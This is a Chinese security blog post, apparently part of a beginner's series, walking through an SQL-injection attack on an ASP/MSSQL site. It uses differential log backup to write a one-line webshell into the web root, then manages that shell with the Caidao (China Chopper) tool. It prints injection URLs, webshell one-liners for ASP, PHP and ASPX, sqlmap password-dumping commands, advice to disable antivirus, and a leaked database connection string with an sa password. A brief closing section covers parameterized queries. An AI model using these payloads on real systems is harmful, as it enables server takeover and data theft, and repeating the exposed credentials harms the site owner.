[滲透&攻防] 三.資料庫之差異備份及Caidao利器
這是最近學習滲透和網站攻防的文章,前面文章從資料庫原理解讀了防止SQL隱碼攻擊、SQLMAP的基礎用法。這篇文章主要講解資料庫知識之差異備份及強大的利器Caidao。希望能深入地學習這部分知識,自己作為一個初學者,在慢慢探索網路攻防和滲透。同時,希望文章對你有所幫助,尤其是學習網路安全的初學者,錯誤或不足之處還請海涵~
一.資料庫之差異備份
1.差異備份
2.手動上傳
二.Caidao基礎用法
1.檔案管理
2.資料庫管理
3.虛擬終端
三.防禦措施
1.引數化查詢
2.基礎防禦措施
前文欣賞:
[滲透&攻防] 一.從資料庫原理學習網路攻防及防止SQL隱碼攻擊
[滲透&攻防] 二.SQL MAP工具從零解讀資料庫及基礎用法
推薦文章:
http://www.jianshu.com/p/f0797a485779
SQL引數化查詢 - zyw_anquan
一. 資料庫之差異備份
1.差異備份
資料備份主要分位完全備份、增量備份和差異備份。其中差異備份是指備份自上一次完全備份之後有變化的資料,在差異備份過程中,只備份有標記的那些選中的檔案和資料夾。它不清除標記,即備份後不標記為已備份檔案,不清除存檔屬性。
這裡的整體流程是先備份日誌,然後插入一句話Muma;再次備份時,資料庫只會備份兩次間隔中的差異,使得生成出來的檔案儘可能小,故稱為“差異備份”。
前面的文章獲取了資料庫的名稱:
http://xxxxx/show.asp?code=-1' union all
select 1,null,3,null,null,6,host_name(),@@version,db_name(),10 --
輸出結果如下所示:
附件1:AYD
附件2:Microsoft SQL Server....
附件3:ahykd_new
其中MSSQL資料庫的名稱就是ahykd_new,接下來相同的道理獲取資料庫所有表及列。
同時獲取了登入名、密碼等,這裡不再介紹,下面詳細介紹差異備份。
(1) 修改資料庫設定為恢復模式
http://xxxxx/show.asp?code=-1'
alter database ahykd_new set RECOVERY FULL --
完全恢復模式是預設的恢復模式。在完全恢復模式下,需要手工的對事務日誌進行管理,優點是可以恢復到資料庫失敗或者指定的時間點上。
(2) 備份當前資料庫日誌到檔案
http://xxxxx/show.asp?code=-1'
backup log ahykd_new to disk='C:\windows\temp\temp0720' with init --
備份資料庫日誌到伺服器上,其中路徑表示伺服器的。
重點:路徑不能太顯眼,比如"C:\0720"這樣。
(3) 建立一張表和一個欄位
http://xxxxx/show.asp?code=-1'
create table tt(a text)--
(4) 往表中插入一句話Muma
http://xxxxx/show.asp?code=-1'
insert into tt(a) values('<%eval request("Shsh") %>') --
一句話Muma插入到資料庫tt表的a欄位中,執行接收自定義Shsh引數,類似於URL的Code引數,相當於是一個側門,第二部分Caidao會使用到。
asp:
<%execute(request("value"))%>
php:
<?php @eval($_POST[value]);?>
aspx:
<%eval(Request.Item["value"])%>
(5) 再次備份日誌http://xxxxx/show.asp?code=-1'
backup log ahykd_new to disk='e:\NewsReport\index0.asp' --
再次備份日誌,備份路徑為網站伺服器路徑,重點是如何獲得這個路徑呢?在網站注入時,報錯提示通常會呈現相關檔案路徑。
(6) 刪除表
http://xxxxx/show.asp?code=-1'
drop table tt --
此時,資料庫差異備份的漏洞已經弄好,後面介紹Caidao利器。
2.手動上傳
前面得到資料庫登入的使用者名稱和密碼後,就可以手動登入,然後找到上傳檔案地方。
index0.asp檔案程式碼為:<%eval request("Shsh") %>
然後利用Caidao利器可以進行拿站,問題是如何防禦這些漏洞,請看第三部分內容。
二. Caidao基礎用法
1.登入Caidao
首先關閉安全軟體及實時防護,如下圖所示。
Caidao軟體據說是一個桂林退役士兵寫的,真的很厲害。它是一款Webshell管理工具,支援各種語言,常見的包括ASP、ASPX、PHP、JSP、CFM等,後面希望自己也能深入研究攻防底層內容,開啟Caidao如下圖所示。
右鍵空白處,點選“新增”,在彈出介面填寫相關內容。
重點:Caidao的使用者名稱為上傳的檔案,即index_0.asp,注意路徑;密碼為一句話Muma中插入的引數Shsh,對應前文<%eval request("Shsh") %>,選擇ASP網站型別,點選“新增按鈕”。
如果漏洞被修復,Caidao也會有相應的提示,如下提示伺服器錯誤。
下面介紹它強大的三個功能檔案管理、資料庫管理和虛擬終端,右鍵URL如下。
PS:由於前面網站的漏洞已經修復了,網站攻防重點是從漏洞中找到防禦措施,但它也打亂了我前後文的關聯,但也是我Web防禦的初衷。下面有兩張圖片引用文章 Chopper詳細剖析,推薦大家閱讀,圖侵立刪。
2.檔案管理
網站檔案管理,顯示伺服器Webshell,遠端訪問服務顯示wwwroot如下圖所示。包括了常見的上傳、下載、編輯、刪除、複製重新命名及改變檔案時間戳等。
前面的差異備份,我們通過SQL語句在伺服器E盤上傳了一個index0.asp檔案。
backup log ahykd_new to disk='e:\NewsReport\index0.asp
可以在檔案管理找到該檔案,並下載到本地(因原網已修復,寫文前未截圖),可以通過Notepad++開啟,雖然亂碼很多,但可以搜尋看到 <%eval request("Shsh") %> 這句程式碼。同時,備份伺服器該賬戶沒有寫入許可權,只能檢視網站的內容及程式碼等。
3.資料庫管理
Caidao支援各種資料庫,包括MYSQL、MSSQL、ORCALE、ACCESS等,資料庫管理主要是內建的管理資料庫模組,能夠實現資料庫的查詢語句、顯示錶名、列名。
前提:需要知道資料庫的配置資訊,可以從兩個方面獲得。
(1) 前面兩篇文章通過SQL語句已經查到了資料庫配置資訊,即:
資料庫 使用者 密碼
回顧:第一篇 手工SQL隱碼攻擊方法
http://xxxxx/show.asp?code=-1' union all
select 1,null,3,null,null,6,host_name(),@@version,db_name(),10 --
輸出結果如下所示:
附件1:AYD
附件2:Microsoft SQL Server....
附件3:ahykd_new
其中資料庫的名稱就是ahykd_new,接下來相同的道理獲取資料庫所有表及列。
回顧:第二篇 SQLMAP方法python sqlmap.py -u "http://.../tztgxx.aspx?code=115" --current-db
python sqlmap.py -u "http://.../tztgxx.aspx?code=115" --passwords
執行結果如下圖所示,獲取資料庫使用者和密碼。
(2) 檔案管理中可以找到config配置檔案,E盤index0.asp中即有,下載如下。
<add key="ConnectionString"
value="Data Source=(local);DataBase=ahykd_new;User Id=sa;Password=xbs660818"/>
即:資料庫ahykd_new,使用者名稱sa,密碼xbs660818。Caidao中右鍵“資料庫管理”,在彈出的介面設定資料庫資訊,點選“提交”。
顯示資料庫如下所示:
同時可以在頂端下拉選單自定義SQL語句,點選“執行”獲取所需資訊。
4.虛擬終端
虛擬終端是模擬Windows下的CMD命令視窗,如果伺服器是Linux就是shell視窗。如下圖所示,常見命令:
(1) whoami 檢視當前使用者的許可權;
(2) net user 檢視當前計算機上的使用者;
(3) net localgroup administrators 檢視當前計算機上管理員的使用者;
(4) ipconfig 檢視計算機的網路卡ip等資訊,詳細資訊在後面加個 /all 檢視;
(5) dir 檢視當前目錄的檔案,後加個路徑可檢視目標資料夾的檔案 dir c: \;
更多的用法需要讀者進一步取研究學習,包括原理知識。同時,難點是如何取找到漏洞、防禦漏洞,SQL隱碼攻擊現在已經有很多好的防禦措施了,第三部分接著介紹。
三. 防禦措施
1.引數化查詢
推薦閱讀《SQL隱碼攻擊與防禦 第2版》作者:Justin Clarke。
PS:這部分參考網上,你可能也返現了這些列文字主要是攻擊,防禦是讓它變白,後面幾個月深入研究後會結合實際詳細講解,但還是推薦上面那本書。
引數化查詢(Parameterized Query 或 Parameterized Statement)是指在設計與資料庫連結並訪問資料時,在需要填入數值或資料的地方,使用引數 (Parameter) 來給值,這個方法目前已被視為最有效可預防SQL隱碼攻擊 (SQL Injection) 的攻擊手法的防禦方式。
有部份的開發人員可能會認為使用引數化查詢,會讓程式更不好維護,或者在實現部份功能上會非常不便,然而,使用引數化查詢造成的額外開發成本,通常都遠低於因為SQL隱碼攻擊漏洞被發現而遭受攻擊,所造成的重大損失。
原理:在使用引數化查詢的情況下,資料庫伺服器不會將引數的內容視為SQL指令的一部份來處理,而是在資料庫完成 SQL 指令的編譯後,才套用引數執行,因此就算引數中含有具有損的指令,也不會被資料庫所執行。
下面一段引用大神 何靜媛 的部落格,強推大家閱讀她的部落格。
引數化查詢就是我們寫好需要的引數,然後直接給引數賦值,這就好比是一個sql的框架。sql查詢的時候會進行引數分析,如果分析的結果是我們曾使用過這樣的框架,那麼sql會重用查詢計劃,否則會重新生成一個查詢計劃,當然此時的sql的語義肯定是發生了變化,這時我們就可以很好的防止注入的發生。例如:
如上的程式碼就是使用引數化的查詢語句,嘗試輸入注入字元無結果。
在撰寫 SQL 指令時,利用引數來代表需要填入的數值,例如:
(1) Microsoft SQL Server
Microsoft SQL Server 的引數格式是以 "@" 字元加上引數名稱而成,SQL Server 亦支援匿名引數 "?"。
SELECT * FROM myTable WHERE myID = @myID
INSERT INTO myTable (c1, c2, c3, c4) VALUES (@c1, @c2, @c3, @c4)
(2) MySQLMySQL的引數格式是以 "?" 字元加上引數名稱而成。
UPDATE myTable SET c1 = ?c1, c2 = ?c2, c3 = ?c3 WHERE c4 = ?c4
(3) OracleOracle 的引數格式是以 ":" 字元加上引數名稱而成。
UPDATE myTable SET c1 = :c1, c2 = :c2, c3 = :c3 WHERE c4 = :c4
(4) PostgreSQLPostgreSQL 的引數格式是以 "$" 字元加上引數順序號而成。
UPDATE myTable SET c1 = $1, c2 = $2, c3 = $3 WHERE c4 = $4
2.基礎防禦措施
參考前文,個人理解的防禦措施:
1.在URL設定不允許非法字元,如單引號、等號、註釋--、減號,提示非法引數;
2.在URL設定不允許SQL常見的關鍵詞,如and、select、or、insert等;
3.傳遞的id=115引數必須為數字才能正常跳轉,否則跳轉錯誤;
4.伺服器啟用SQL隱碼攻擊攔截功能,提示當前網頁的 URL / POST / COOKIES中包含了特定的 SQL字元而被防火牆攔截,因為可能通過POST、Cookies進行攻擊,各方面都需要做到防禦。
5.可以使用JS在客戶端進行不安全字元遮蔽,也可以在jsp中呼叫該函式檢查是否包函非法字元,或使用正規表示式過濾傳入的引數,防止SQL從URL注入。
希望文章對你有所幫助,尤其是網路安全的程式設計師,因為系列文章是和前文息息相關的,所以看著有些凌亂。如果文章存在錯誤或不足之處,還請海涵。感謝娜師傅的一路陪伴,來娜娜家玩深夜都還在寫文,我也是很醉啊!
不忘初心,繼續前行。加油,秀璋。綠妖,晚安!
(By:Eastmount 2017-07-23 凌晨1點 http://blog.csdn.net/eastmount/ )
相關文章
- [滲透&攻防] 四.詳解MySQL資料庫攻防及Fiddler神器分析資料包MySql資料庫
- Oracle之差異增量備份與累積增量備份Oracle
- [滲透&攻防] 一.從資料庫原理學習網路攻防及防止SQL隱碼攻擊資料庫SQL
- [滲透&攻防] 二.SQL MAP工具從零解讀資料庫及基礎用法SQL資料庫
- Oracle資料庫的冷備份及冷備份異地恢復方法Oracle資料庫
- 資料庫備份與異機恢復——熱備份方式資料庫
- 直接透過備份恢復資料庫資料庫
- 透過rman全庫備份遷移資料庫資料庫
- 資料庫差異備份與增量備份的不同之處資料庫
- 滲透必備:linux下備份拿shellLinux
- 滲透之——資料庫提權資料庫
- Oracle資料庫三種備份方案Oracle資料庫
- Mysql資料庫備份及恢復MySql資料庫
- Dedecms備份的資料檔案位置及備份資料庫的方法資料庫
- mssql資料庫異地進行異地備份的方法SQL資料庫
- Oracle資料庫冷備份的異地恢復Oracle資料庫
- 資料庫備份資料庫
- [資料庫] Navicat for MySQL定時備份資料庫及資料恢復資料庫MySql資料恢復
- 初探MySQL資料備份及備份原理MySql
- RMAN恢復(rman只備份資料庫,但不備份歸檔,歸檔透過簡單的rsync或scp來傳送到異地備份)資料庫
- mysql 資料庫 備份MySql資料庫
- 資料庫備份策略資料庫
- MongoDB資料庫備份MongoDB資料庫
- mysql 資料庫備份MySql資料庫
- 資料庫備份方案資料庫
- RAC資料庫的RMAN備份異機恢復到單節點資料庫資料庫
- oracle資料庫備份之exp增量備份Oracle資料庫
- MySQL資料庫mysqldump命令備份異常的一個案例MySql資料庫
- Mysqldump備份說明及資料庫備份指令碼分享-運維筆記MySql資料庫指令碼運維筆記
- 使用innobackupex線上增量備份和再增量備份及恢復mysql資料庫MySql資料庫
- oracle 備份資料庫,匯出資料庫Oracle資料庫
- 從遠端把mysql透過mysqldump備份資料庫到本地MySql資料庫
- mysqlpump 資料庫備份程式MySql資料庫
- mysqldump 資料庫備份程式MySql資料庫
- 資料庫備份指令碼資料庫指令碼
- 使用RMAN備份資料庫資料庫
- innobackupex 備份MySQL資料庫MySql資料庫
- 資料庫自動備份資料庫